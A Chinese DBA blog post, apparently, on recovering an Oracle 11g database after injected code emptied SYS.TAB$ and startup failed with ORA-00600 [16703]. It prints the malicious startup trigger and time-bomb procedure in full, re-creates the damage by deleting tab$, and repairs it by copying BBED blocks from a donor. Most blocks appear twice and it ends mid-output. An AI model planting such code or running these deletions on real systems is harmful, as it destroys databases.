案例：ora-00600[16703]比特币攻击

近期大量的客户数据库软件被注入恶意代码，导致数据库无法启动，报错ORA-00600: internal error code, arguments: [16703], [1403], [20]，大致的原因和预防措施可参考下面文章：http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html

大致的意思是由于恶意攻击，$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。这些恶意代码会被注入到使用这个oracle软件dbca创建的数据库中，核心部分为一个触发器一个存储过程，清空了tab$，导致数据库启动时，bootstrap阶段无法完成。

触发器如下：

create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
DBMS_SUPPORT_DBMONITORP;
end;
/

create or replace trigger DBMS_SUPPORT_DBMONITOR

after startup on database

declare

begin

DBMS_SUPPORT_DBMONITORP;

end;

触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程，存储过程代码如下：

PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1&gt;=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;
/

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=300) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

END IF;

END;

该存储过程逻辑为：判断数据库的创建时间是否大于 300 天，如果大于300天则ctas备份tab$之后，delete tab$。

如果有备份的话，那么很简单就不展开了，本文主要介绍没备份的方法。
首先手工构造场景：
模拟DBMS_SUPPORT_DBMONITORP里的内容

SQL&gt; @swl
System altered.
SQL&gt; select count(*) from t;
COUNT(*)
----------
13982
SQL&gt; create table t_bak as select * from tab$;
Table created.
SQL&gt; delete from tab$;
1251 rows deleted.
SQL&gt; commit;
Commit complete.
SQL&gt; alter system checkpoint;
System altered.
SQL&gt; shutdown abort;
ORACLE instance shut down.

SQL> @swl

System altered.

SQL> select count(*) from t;

COUNT(*)

----------

13982

SQL> create table t_bak as select * from tab$;

Table created.

SQL> delete from tab$;

1251 rows deleted.

SQL> commit;

Commit complete.

SQL> alter system checkpoint;

System altered.

SQL> shutdown abort;

ORACLE instance shut down.

此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]

SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019
Copyright (c) 1982, 2013, Oracle.  All rights reserved.
Connected to an idle instance.
SQL&gt; startup
ORACLE instance started.
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size            1191186368 bytes
Database Buffers           67108864 bytes
Redo Buffers                8818688 bytes
Database mounted.
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],
[], [], [], [], [], []
Process ID: 3255
Session ID: 125 Serial number: 5

SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019

Connected to an idle instance.

SQL> startup

ORACLE instance started.

Total System Global Area 1269366784 bytes

Fixed Size 2252864 bytes

Variable Size 1191186368 bytes

Database Buffers 67108864 bytes

Redo Buffers 8818688 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 3255

Session ID: 125 Serial number: 5

恢复思路：

由于有且仅有tab$被delete，所以如果能恢复tab$的数据则数据库将得以恢复，这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路)：

写成脚本逐一还原被delete的行，目前我的同事编写了python和shell两个版本，经过实战验证都可以完美恢复。
由于恶意代码中，delete tab$前，ctas了一份tab$的备份，可以尝试先open数据库，再根据备份的tab$ insert到tab$中。
odu抽取数据，重建库

本文只模拟第二种方法,恢复步骤大致如下：

open数据库
根据备份的tab$ insert到tab$中

在恢复之前首先简单介绍一下tab$，tab$是cluster C_OBJ#中的一个table，CLUSTER KEY为OBJ#，C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象，tab$在数据库中是非常核心的一个基表，它记录了table的段头地址以及统计信息。在数据库open过程中，需要访问到的基表对象如果在tab$中不存在，则数据库将无法open，报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。

CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE (  INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144))
SIZE 800
CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE
LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE (  OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)

CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE ( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144))

SIZE 800

CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"

PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE

LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)

灵魂拷问1：那如何open数据库呢？

在数据库open过程中，需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx]，那么将这些对象的信息还原回tab$，则数据库将open成功。

灵魂拷问2：如何确定数据库open需要访问哪些核心基表呢？

找一个正常的数据库做open时的10046，过程如下：

SQL&gt; startup mount;
ORACLE instance started.
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size             754978752 bytes
Database Buffers          503316480 bytes
Redo Buffers                8818688 bytes
Database mounted.
SQL&gt; @46on
Statement processed.
Statement processed.
SQL&gt; alter database open;
Database altered.
SQL&gt; @46off
/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
Statement processed.

SQL> startup mount;

ORACLE instance started.

Total System Global Area 1269366784 bytes

Fixed Size 2252864 bytes

Variable Size 754978752 bytes

Database Buffers 503316480 bytes

Redo Buffers 8818688 bytes

Database mounted.

SQL> @46on

Statement processed.

SQL> alter database open;

Database altered.

SQL> @46off

/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc

Statement processed.

简单的对10046 trace文件进行筛选则可以找到这些基表的obj#，并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息

[oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'
10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99
SQL&gt; SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 
2  FROM TAB$ a,obj$ b 
3  WHERE a.obj#=b.obj# 
4  AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99)
5  order by 6,7;
OBJ#       TAB#   DATAOBJ#      BOBJ# NAME                              FILE_ID   BLOCK_ID
---------- ---------- ---------- ---------- ------------------------------ ---------- ----------
25                    25            PROXY_ROLE_DATA$                        1        145
17                    17            FILE$                                   1        145
20          4          2          2 ICOL$                                   1        145
19          3          2          2 IND$                                    1        145
28                    28            CON$                                    1        145
15                    15            UNDO$                                   1        145
21          5          2          2 COL$                                    1        146
16          2          6          6 TS$                                     1        146
5          2          2          2 CLU$                                    1        146
14          2          8          8 SEG$                                    1        146
23                    23            PROXY_DATA$                             1        146
22          1         10         10 USER$                                   1        147
18                    18            OBJ$                                    1        147
4          1          2          2 TAB$                                    1        147
59                    59            BOOTSTRAP$                              1        147
32          2         29         29 CCOL$                                   1        147
61                    61            OBJAUTH$                                1        148
31          1         29         29 CDEF$                                   1        148
69                    69            VIEW$                                   1        148
80          6          2          2 LOB$                                    1        149
74                    74            SEQ$                                    1        149
83          7          2          2 COLTYPE$                                1        149
99                    99            EDITION$                                1        149
98                    98            PROPS$                                  1        149
95         11          2          2 OPQTYPE$                                1        149
92         10          2          2 REFCON$                                 1        149
88          9          2          2 NTAB$                                   1        149
86          8          2          2 SUBCOLTYPE$                             1        149
101                   101            FIXED_OBJ$                              1        150
103                   103            MIGRATE$                                1        150
104                   104            DEPENDENCY$                             1        150
105                   105            ACCESS$                                 1        150
118                   118            SYSAUTH$                                1        150
160                   160            TRIGGER$                                1        152
161                   161            TRIGGERCOL$                             1        152
192                   192            SQL$                                    1        153
221                   221            PROCEDURE$                              1        154
228                   228            IDL_SB4$                                1        155
227                   227            IDL_UB2$                                1        155
226                   226            IDL_CHAR$                               1        155
225                   225            IDL_UB1$                                1        155
252         14          2          2 LIBRARY$                                1        156
294                   294            RESOURCE_PLAN$                          1        158
297                   297            RESOURCE_PLAN_DIRECTIVE$                1        159
300                   300            RESOURCE_STORAGE_POOL_MAPPING$          1        159
301                   301            RESOURCE_CAPABILITY$                    1        159
302                   302            RESOURCE_INSTANCE_CAPABILITY$           1        159
304                   304            TSM_SRC$                                1        159
307                   307            TSM_DST$                                1        159
311                   311            SERVICE$                                1        160
390                   390            RADM_FPTM$                              1        163
436                   436            XS$SESSION_ROLES                        1        165
433                   433            XS$SESSIONS                             1        165
438                   438            XS$SESSION_APPNS                        1        165
453                   453            TAB_STATS$                              1        166
451                   451            AUX_STATS$                              1        166
448                   448            HIST_HEAD$                              1        166
446          1        444        444 HISTGRM$                                1        166
455                   455            IND_STATS$                              1        166
463                   463            ASSOCIATION$                            1        167
506                   506            OPTSTAT_HIST_CONTROL$                   1       3337
514                   514            ID_GENS$                                1       3337
515                   515            OID$                                    1       3337
517         17          2          2 TYPE_MISC$                              1       3338
567                   567            KOPM$                                   1       3339
587                   587            PARTOBJ$                                1       3341
713                   713            STREAMS$_CAPTURE_PROCESS                1       4396
717                   717            STREAMS$_APPLY_PROCESS                  1       4396
721                   721            STREAMS$_PROPAGATION_PROCESS            1       4396
1297                  1297            SYS_FBA_FA                              1       7897
1300                  1300            SYS_FBA_TSFA                            1       7897
1307                  1307            SYS_FBA_USERS                           1       7897
1306                  1306            SYS_FBA_PARTITIONS                      1       7897
1304                  1304            SYS_FBA_TRACKEDTABLES                   1       7897
1302                  1302            SYS_FBA_BARRIERSCN                      1       7897
1314                  1314            REGISTRY$                               1       7898
1309                  1309            SYS_FBA_DL                              1       7898
5541                  5541            DAM_CONFIG_PARAM$                       1       9952
5582                  5582            INVALIDATION_REGISTRY$                  1       9954
5780                  5780            LOC$                                    1       9963
5804                  5804            AQ$_QUEUE_TABLE_AFFINITIES              1       9965
5797                  5797            AQ$_QUEUES                              1       9965
5794                  5794            AQ$_QUEUE_TABLES                        1       9965
5814                  5814            AQ$_SCHEDULES                           1       9965
7144                  7144            REPCAT$_REPPROP                         1      13368
12939                 12939            AQ$_SCHEDULER$_EVENT_QTAB_L             1      22502
12973                 12973            AQ$_SCHEDULER$_REMDB_JOBQTAB_L          1      22504
13003                 13003            AQ$_SCHEDULER_FILEWATCHER_QT_L          1      22506
13059                 13059            AQ$_ALERT_QT_L                          1      22509
13273                 13273            AQ_EVENT_TABLE                          1      22518
13298                 13298            AQ$_AQ_PROP_TABLE_L                     1      22519
13604                 13604            AQ$_SYS$SERVICE_METRICS_TAB_L           1      31492
14137                 14137            AQ$_WM$EVENT_QUEUE_TABLE_L              1      31514

100

101

102

103

104

[oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'

10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99

SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID

2 FROM TAB$ a,obj$ b

3 WHERE a.obj#=b.obj#

4 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99)

5 order by 6,7;

OBJ# TAB# DATAOBJ# BOBJ# NAME FILE_ID BLOCK_ID

---------- ---------- ---------- ---------- ------------------------------ ---------- ----------

25 25 PROXY_ROLE_DATA$ 1 145

17 17 FILE$ 1 145

20 4 2 2 ICOL$ 1 145

19 3 2 2 IND$ 1 145

28 28 CON$ 1 145

15 15 UNDO$ 1 145

21 5 2 2 COL$ 1 146

16 2 6 6 TS$ 1 146

5 2 2 2 CLU$ 1 146

14 2 8 8 SEG$ 1 146

23 23 PROXY_DATA$ 1 146

22 1 10 10 USER$ 1 147

18 18 OBJ$ 1 147

4 1 2 2 TAB$ 1 147

59 59 BOOTSTRAP$ 1 147

32 2 29 29 CCOL$ 1 147

61 61 OBJAUTH$ 1 148

31 1 29 29 CDEF$ 1 148

69 69 VIEW$ 1 148

80 6 2 2 LOB$ 1 149

74 74 SEQ$ 1 149

83 7 2 2 COLTYPE$ 1 149

99 99 EDITION$ 1 149

98 98 PROPS$ 1 149

95 11 2 2 OPQTYPE$ 1 149

92 10 2 2 REFCON$ 1 149

88 9 2 2 NTAB$ 1 149

86 8 2 2 SUBCOLTYPE$ 1 149

101 101 FIXED_OBJ$ 1 150

103 103 MIGRATE$ 1 150

104 104 DEPENDENCY$ 1 150

105 105 ACCESS$ 1 150

118 118 SYSAUTH$ 1 150

160 160 TRIGGER$ 1 152

161 161 TRIGGERCOL$ 1 152

192 192 SQL$ 1 153

221 221 PROCEDURE$ 1 154

228 228 IDL_SB4$ 1 155

227 227 IDL_UB2$ 1 155

226 226 IDL_CHAR$ 1 155

225 225 IDL_UB1$ 1 155

252 14 2 2 LIBRARY$ 1 156

294 294 RESOURCE_PLAN$ 1 158

297 297 RESOURCE_PLAN_DIRECTIVE$ 1 159

300 300 RESOURCE_STORAGE_POOL_MAPPING$ 1 159

301 301 RESOURCE_CAPABILITY$ 1 159

302 302 RESOURCE_INSTANCE_CAPABILITY$ 1 159

304 304 TSM_SRC$ 1 159

307 307 TSM_DST$ 1 159

311 311 SERVICE$ 1 160

390 390 RADM_FPTM$ 1 163

436 436 XS$SESSION_ROLES 1 165

433 433 XS$SESSIONS 1 165

438 438 XS$SESSION_APPNS 1 165

453 453 TAB_STATS$ 1 166

451 451 AUX_STATS$ 1 166

448 448 HIST_HEAD$ 1 166

446 1 444 444 HISTGRM$ 1 166

455 455 IND_STATS$ 1 166

463 463 ASSOCIATION$ 1 167

506 506 OPTSTAT_HIST_CONTROL$ 1 3337

514 514 ID_GENS$ 1 3337

515 515 OID$ 1 3337

517 17 2 2 TYPE_MISC$ 1 3338

567 567 KOPM$ 1 3339

587 587 PARTOBJ$ 1 3341

713 713 STREAMS$_CAPTURE_PROCESS 1 4396

717 717 STREAMS$_APPLY_PROCESS 1 4396

721 721 STREAMS$_PROPAGATION_PROCESS 1 4396

1297 1297 SYS_FBA_FA 1 7897

1300 1300 SYS_FBA_TSFA 1 7897

1307 1307 SYS_FBA_USERS 1 7897

1306 1306 SYS_FBA_PARTITIONS 1 7897

1304 1304 SYS_FBA_TRACKEDTABLES 1 7897

1302 1302 SYS_FBA_BARRIERSCN 1 7897

1314 1314 REGISTRY$ 1 7898

1309 1309 SYS_FBA_DL 1 7898

5541 5541 DAM_CONFIG_PARAM$ 1 9952

5582 5582 INVALIDATION_REGISTRY$ 1 9954

5780 5780 LOC$ 1 9963

5804 5804 AQ$_QUEUE_TABLE_AFFINITIES 1 9965

5797 5797 AQ$_QUEUES 1 9965

5794 5794 AQ$_QUEUE_TABLES 1 9965

5814 5814 AQ$_SCHEDULES 1 9965

7144 7144 REPCAT$_REPPROP 1 13368

12939 12939 AQ$_SCHEDULER$_EVENT_QTAB_L 1 22502

12973 12973 AQ$_SCHEDULER$_REMDB_JOBQTAB_L 1 22504

13003 13003 AQ$_SCHEDULER_FILEWATCHER_QT_L 1 22506

13059 13059 AQ$_ALERT_QT_L 1 22509

13273 13273 AQ_EVENT_TABLE 1 22518

13298 13298 AQ$_AQ_PROP_TABLE_L 1 22519

13604 13604 AQ$_SYS$SERVICE_METRICS_TAB_L 1 31492

14137 14137 AQ$_WM$EVENT_QUEUE_TABLE_L 1 31514

这些对象在同版本同平台的数据库上的rdba地址一般都是一致的，所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库，否则后续处理会比较麻烦)，使用bbed进行替换，用sql拼接出bbed的命令

SQL&gt; SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM (
2  SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 
3  FROM TAB$ a,obj$ b 
4  WHERE a.obj#=b.obj# 
5  AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID
----------------------------------------------------------------------------------------------------------------------------------------------------------
copy file 2 block 156 to file 1 block 156
copy file 2 block 160 to file 1 block 160
copy file 2 block 3339 to file 1 block 3339
copy file 2 block 7898 to file 1 block 7898
copy file 2 block 9965 to file 1 block 9965
copy file 2 block 149 to file 1 block 149
copy file 2 block 153 to file 1 block 153
copy file 2 block 9952 to file 1 block 9952
copy file 2 block 13368 to file 1 block 13368
copy file 2 block 150 to file 1 block 150
copy file 2 block 152 to file 1 block 152
copy file 2 block 158 to file 1 block 158
copy file 2 block 165 to file 1 block 165
copy file 2 block 9963 to file 1 block 9963
copy file 2 block 147 to file 1 block 147
copy file 2 block 145 to file 1 block 145
copy file 2 block 148 to file 1 block 148
copy file 2 block 154 to file 1 block 154
copy file 2 block 166 to file 1 block 166
copy file 2 block 4396 to file 1 block 4396
copy file 2 block 9954 to file 1 block 9954
copy file 2 block 22502 to file 1 block 22502
copy file 2 block 22506 to file 1 block 22506
copy file 2 block 155 to file 1 block 155
copy file 2 block 159 to file 1 block 159
copy file 2 block 22504 to file 1 block 22504
copy file 2 block 31492 to file 1 block 31492
copy file 2 block 146 to file 1 block 146
copy file 2 block 163 to file 1 block 163
copy file 2 block 3338 to file 1 block 3338
copy file 2 block 7897 to file 1 block 7897
copy file 2 block 22509 to file 1 block 22509
copy file 2 block 31514 to file 1 block 31514
copy file 2 block 167 to file 1 block 167
copy file 2 block 3337 to file 1 block 3337
copy file 2 block 3341 to file 1 block 3341
copy file 2 block 22518 to file 1 block 22518
copy file 2 block 22519 to file 1 block 22519
38 rows selected.
[oracle@test ~]$ bbed parfile=bbed
BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019
Copyright (c) 1982, 2011, Oracle and/or its affiliates.  All rights reserved.
************* !!! For Oracle Internal Use only !!! ***************
BBED&gt; info
File#  Name                                                        Size(blks)
-----  ----                                                        ----------
1  /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw           0
2  /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf           0

SQL> SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM (

2 SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID

3 FROM TAB$ a,obj$ b

4 WHERE a.obj#=b.obj#

5 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));

'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID

----------------------------------------------------------------------------------------------------------------------------------------------------------

copy file 2 block 156 to file 1 block 156

copy file 2 block 160 to file 1 block 160

copy file 2 block 3339 to file 1 block 3339

copy file 2 block 7898 to file 1 block 7898

copy file 2 block 9965 to file 1 block 9965

copy file 2 block 149 to file 1 block 149

copy file 2 block 153 to file 1 block 153

copy file 2 block 9952 to file 1 block 9952

copy file 2 block 13368 to file 1 block 13368

copy file 2 block 150 to file 1 block 150

copy file 2 block 152 to file 1 block 152

copy file 2 block 158 to file 1 block 158

copy file 2 block 165 to file 1 block 165

copy file 2 block 9963 to file 1 block 9963

copy file 2 block 147 to file 1 block 147

copy file 2 block 145 to file 1 block 145

copy file 2 block 148 to file 1 block 148

copy file 2 block 154 to file 1 block 154

copy file 2 block 166 to file 1 block 166

copy file 2 block 4396 to file 1 block 4396

copy file 2 block 9954 to file 1 block 9954

copy file 2 block 22502 to file 1 block 22502

copy file 2 block 22506 to file 1 block 22506

copy file 2 block 155 to file 1 block 155

copy file 2 block 159 to file 1 block 159

copy file 2 block 22504 to file 1 block 22504

copy file 2 block 31492 to file 1 block 31492

copy file 2 block 146 to file 1 block 146

copy file 2 block 163 to file 1 block 163

copy file 2 block 3338 to file 1 block 3338

copy file 2 block 7897 to file 1 block 7897

copy file 2 block 22509 to file 1 block 22509

copy file 2 block 31514 to file 1 block 31514

copy file 2 block 167 to file 1 block 167

copy file 2 block 3337 to file 1 block 3337

copy file 2 block 3341 to file 1 block 3341

copy file 2 block 22518 to file 1 block 22518

copy file 2 block 22519 to file 1 block 22519

38 rows selected.

[oracle@test ~]$ bbed parfile=bbed

BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019

************* !!! For Oracle Internal Use only !!! ***************

BBED> info

File# Name Size(blks)

----- ---- ----------

1 /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw 0

2 /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf 0

可以看到这里需要替换38个数据块，替换后可以成功open数据库，注意如果是实战环境open数据库之前需要禁用系统触发器。

BBED&gt; copy file 2 block 156 to file 1 block 156
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 156              Offsets:    0 to  511           Dba:0x0040009c
------------------------------------------------------------------------
06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300 
00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000 
970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300 
fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00 
35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105 
89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505 
5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b 
ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a 
021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13 
2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c 
540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
&lt;32 bytes per line&gt;
BBED&gt; set count 1
COUNT           1
BBED&gt; copy file 2 block 156 to file 1 block 156
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 156              Offsets:    0 to    0           Dba:0x0040009c
------------------------------------------------------------------------
06 
&lt;32 bytes per line&gt;
BBED&gt; copy file 2 block 160 to file 1 block 160
......省略
尝试open数据库：
SQL&gt; conn / as sysdba
Connected to an idle instance.
SQL&gt; startup
ORACLE instance started.
Total System Global Area 1269366784 bytes
Fixed Size                  2252864 bytes
Variable Size            1191186368 bytes
Database Buffers           67108864 bytes
Redo Buffers                8818688 bytes
Database mounted.
Database opened.

BBED> copy file 2 block 156 to file 1 block 156

Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y

File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)

Block: 156 Offsets: 0 to 511 Dba:0x0040009c

------------------------------------------------------------------------

